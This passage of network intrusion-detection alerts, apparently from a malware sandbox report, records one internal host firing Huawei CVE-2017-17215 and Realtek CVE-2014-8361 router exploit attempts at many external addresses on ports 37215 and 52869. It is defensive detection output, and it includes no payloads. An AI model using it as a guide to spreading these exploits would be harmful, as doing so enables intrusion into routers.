Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.157.87.9

Timestamp:	07/20/24-23:01:02.613618
SID:	2835222
Source Port:	33886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 153.224.170.192

Timestamp:	07/20/24-23:01:06.820921
SID:	2835222
Source Port:	42326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.23.202.220

Timestamp:	07/20/24-23:01:12.356929
SID:	2829579
Source Port:	58830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.25.247.16

Timestamp:	07/20/24-23:01:04.630544
SID:	2027339
Source Port:	33970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 61.114.188.190

Timestamp:	07/20/24-23:01:14.551639
SID:	2027339
Source Port:	60762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.243.200

Timestamp:	07/20/24-23:00:59.021890
SID:	2835222
Source Port:	54514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 126.183.144.210

Timestamp:	07/20/24-23:01:14.547224
SID:	2831300
Source Port:	46040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 40.14.24.23

Timestamp:	07/20/24-23:01:07.251986
SID:	2025132
Source Port:	33638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.239.3.159

Timestamp:	07/20/24-23:01:17.788569
SID:	2829579
Source Port:	52876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 171.206.136.183

Timestamp:	07/20/24-23:01:20.312979
SID:	2027339
Source Port:	60968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.134.72.2

Timestamp:	07/20/24-23:00:59.020039
SID:	2835222
Source Port:	55082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.87.150

Timestamp:	07/20/24-23:01:22.811587
SID:	2835222
Source Port:	36204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.180.244.253

Timestamp:	07/20/24-23:01:12.487419
SID:	2829579
Source Port:	53652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.112.173.36

Timestamp:	07/20/24-23:01:32.232613
SID:	2835222
Source Port:	44148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.11.38.153

Timestamp:	07/20/24-23:01:06.805919
SID:	2835222
Source Port:	55822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 47.206.114.161

Timestamp:	07/20/24-23:01:07.567973
SID:	2025132
Source Port:	50716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.42.214.177

Timestamp:	07/20/24-23:01:08.447448
SID:	2829579
Source Port:	44456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.99.109.164

Timestamp:	07/20/24-23:01:22.749654
SID:	2835222
Source Port:	57372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.116.5.26

Timestamp:	07/20/24-23:01:27.277398
SID:	2829579
Source Port:	60406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 203.131.164.121

Timestamp:	07/20/24-23:00:59.023733
SID:	2829579
Source Port:	54504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 204.12.39.60

Timestamp:	07/20/24-23:01:02.685656
SID:	2835222
Source Port:	38806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.137.39.153

Timestamp:	07/20/24-23:01:12.487419
SID:	2835222
Source Port:	33420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 121.104.50.97

Timestamp:	07/20/24-23:01:14.522190
SID:	2831300
Source Port:	40700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 23.221.87.235

Timestamp:	07/20/24-23:01:19.527278
SID:	2025132
Source Port:	37656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.191.93.255

Timestamp:	07/20/24-23:01:32.232613
SID:	2829579
Source Port:	56232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.101.194.182

Timestamp:	07/20/24-23:01:04.858015
SID:	2835222
Source Port:	47418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.83.108.146

Timestamp:	07/20/24-23:01:32.259331
SID:	2835222
Source Port:	45908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.196.220.157

Timestamp:	07/20/24-23:01:08.449909
SID:	2835222
Source Port:	52252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 75.16.206.108

Timestamp:	07/20/24-23:01:05.847071
SID:	2025132
Source Port:	55650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.39.134.254

Timestamp:	07/20/24-23:01:02.613456
SID:	2835222
Source Port:	44970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 5.165.79.192

Timestamp:	07/20/24-23:01:15.063531
SID:	2829579
Source Port:	37672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 216.44.193.248

Timestamp:	07/20/24-23:01:07.225933
SID:	2027339
Source Port:	41222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 180.57.201.161

Timestamp:	07/20/24-23:01:14.504881
SID:	2027339
Source Port:	34520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 64.225.124.7

Timestamp:	07/20/24-23:01:14.556764
SID:	2831300
Source Port:	49512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 158.124.195.199

Timestamp:	07/20/24-23:01:05.475384
SID:	2027339
Source Port:	45582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 206.148.137.228

Timestamp:	07/20/24-23:01:22.736570
SID:	2829579
Source Port:	41180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 191.252.251.212

Timestamp:	07/20/24-23:01:14.516654
SID:	2831300
Source Port:	51268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.140.210.124

Timestamp:	07/20/24-23:01:27.263646
SID:	2835222
Source Port:	35720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 153.97.31.189

Timestamp:	07/20/24-23:01:04.960066
SID:	2025132
Source Port:	59402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.91.69.128

Timestamp:	07/20/24-23:01:12.490733
SID:	2835222
Source Port:	55644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.190.79.185

Timestamp:	07/20/24-23:01:12.492810
SID:	2829579
Source Port:	53770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.99.236

Timestamp:	07/20/24-23:01:12.374034
SID:	2829579
Source Port:	46032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 139.159.183.229

Timestamp:	07/20/24-23:01:27.366334
SID:	2831300
Source Port:	45152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.0.7.16

Timestamp:	07/20/24-23:01:36.866693
SID:	2835222
Source Port:	56068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 148.242.181.53

Timestamp:	07/20/24-23:01:14.525496
SID:	2831300
Source Port:	47296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 207.32.229.66

Timestamp:	07/20/24-23:01:04.558305
SID:	2025132
Source Port:	40426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.225.133.190

Timestamp:	07/20/24-23:01:36.781139
SID:	2829579
Source Port:	33604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.222.44

Timestamp:	07/20/24-23:01:04.855996
SID:	2829579
Source Port:	32802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 25.216.97.59

Timestamp:	07/20/24-23:01:27.354427
SID:	2831300
Source Port:	35888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.121.138.230

Timestamp:	07/20/24-23:01:15.000440
SID:	2835222
Source Port:	45558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 120.157.208.82

Timestamp:	07/20/24-23:01:08.386561
SID:	2829579
Source Port:	58808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.106.151.46

Timestamp:	07/20/24-23:01:12.502954
SID:	2835222
Source Port:	40250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.78.206.63

Timestamp:	07/20/24-23:01:12.485458
SID:	2835222
Source Port:	50946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 193.190.14.156

Timestamp:	07/20/24-23:01:17.779183
SID:	2835222
Source Port:	34892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 60.215.234.238

Timestamp:	07/20/24-23:01:19.334468
SID:	2025132
Source Port:	34982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.104.62

Timestamp:	07/20/24-23:01:04.870311
SID:	2829579
Source Port:	54694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.21.70.134

Timestamp:	07/20/24-23:01:20.486898
SID:	2027339
Source Port:	39792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.30.60.2

Timestamp:	07/20/24-23:01:15.000002
SID:	2835222
Source Port:	45276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.36.109.153

Timestamp:	07/20/24-23:01:27.232388
SID:	2829579
Source Port:	58268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 83.133.236.199

Timestamp:	07/20/24-23:01:21.665349
SID:	2025132
Source Port:	40638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.101.21.17

Timestamp:	07/20/24-23:01:08.392907
SID:	2835222
Source Port:	48612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.2.186.51

Timestamp:	07/20/24-23:01:12.517791
SID:	2835222
Source Port:	41038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.248.214.0

Timestamp:	07/20/24-23:01:04.853128
SID:	2835222
Source Port:	34030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.232.39.94

Timestamp:	07/20/24-23:01:22.834271
SID:	2829579
Source Port:	50902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 176.69.59.228

Timestamp:	07/20/24-23:01:06.227033
SID:	2025132
Source Port:	32804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 34.213.231.189

Timestamp:	07/20/24-23:01:27.354427
SID:	2027339
Source Port:	47730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.66.129.3

Timestamp:	07/20/24-23:01:32.250506
SID:	2835222
Source Port:	52458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 173.10.79.117

Timestamp:	07/20/24-23:01:40.432669
SID:	2829579
Source Port:	52162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.41.160.20

Timestamp:	07/20/24-23:01:22.809590
SID:	2835222
Source Port:	36608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 128.45.232.171

Timestamp:	07/20/24-23:01:36.837667
SID:	2835222
Source Port:	55608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.127.151.237

Timestamp:	07/20/24-23:01:22.753217
SID:	2829579
Source Port:	33710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.146.23.122

Timestamp:	07/20/24-23:01:06.801544
SID:	2835222
Source Port:	54168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.115.182.83

Timestamp:	07/20/24-23:01:25.414531
SID:	2835222
Source Port:	42526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.58.247.74

Timestamp:	07/20/24-23:01:12.504870
SID:	2829579
Source Port:	49290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 64.157.100.230

Timestamp:	07/20/24-23:01:20.470124
SID:	2025132
Source Port:	53844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.62.139.88

Timestamp:	07/20/24-23:01:08.381149
SID:	2829579
Source Port:	55616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.223.50.254

Timestamp:	07/20/24-23:01:22.799496
SID:	2829579
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.253.243.30

Timestamp:	07/20/24-23:01:36.808711
SID:	2835222
Source Port:	38994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.65.47.196

Timestamp:	07/20/24-23:01:14.525496
SID:	2027339
Source Port:	50646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.180.196.49

Timestamp:	07/20/24-23:01:04.864677
SID:	2835222
Source Port:	49350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 99.172.148.31

Timestamp:	07/20/24-23:01:06.243271
SID:	2025132
Source Port:	52718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 176.151.180.197

Timestamp:	07/20/24-23:01:06.140603
SID:	2025132
Source Port:	42430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.230.131.89

Timestamp:	07/20/24-23:01:14.518210
SID:	2027339
Source Port:	59672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.40.102.40

Timestamp:	07/20/24-23:00:59.020320
SID:	2829579
Source Port:	40876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.125.187.17

Timestamp:	07/20/24-23:01:02.699257
SID:	2835222
Source Port:	41994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.191.211.246

Timestamp:	07/20/24-23:01:17.798948
SID:	2829579
Source Port:	58324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 97.197.39.59

Timestamp:	07/20/24-23:01:36.837667
SID:	2835222
Source Port:	57118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 180.201.70.9

Timestamp:	07/20/24-23:01:08.369553
SID:	2835222
Source Port:	34018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.24.52.3

Timestamp:	07/20/24-23:00:59.023270
SID:	2835222
Source Port:	35012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 72.246.92.233

Timestamp:	07/20/24-23:01:14.542240
SID:	2831300
Source Port:	36096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.60.215

Timestamp:	07/20/24-23:01:02.607205
SID:	2835222
Source Port:	45408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.73.181.97

Timestamp:	07/20/24-23:01:32.213464
SID:	2835222
Source Port:	35778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.146.212.204

Timestamp:	07/20/24-23:01:36.798333
SID:	2829579
Source Port:	48614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 143.19.210.21

Timestamp:	07/20/24-23:01:14.522654
SID:	2831300
Source Port:	35906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.67.33.5

Timestamp:	07/20/24-23:01:32.262033
SID:	2835222
Source Port:	42442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.113.228.229

Timestamp:	07/20/24-23:01:17.786876
SID:	2829579
Source Port:	57890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 13.152.140.36

Timestamp:	07/20/24-23:01:02.620832
SID:	2835222
Source Port:	42890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 49.98.16.76

Timestamp:	07/20/24-23:01:08.435255
SID:	2835222
Source Port:	48960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 104.175.135.141

Timestamp:	07/20/24-23:01:20.481325
SID:	2025132
Source Port:	33094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 159.247.186.213

Timestamp:	07/20/24-23:00:59.019713
SID:	2829579
Source Port:	45044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.149.119

Timestamp:	07/20/24-23:01:06.805919
SID:	2835222
Source Port:	59466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

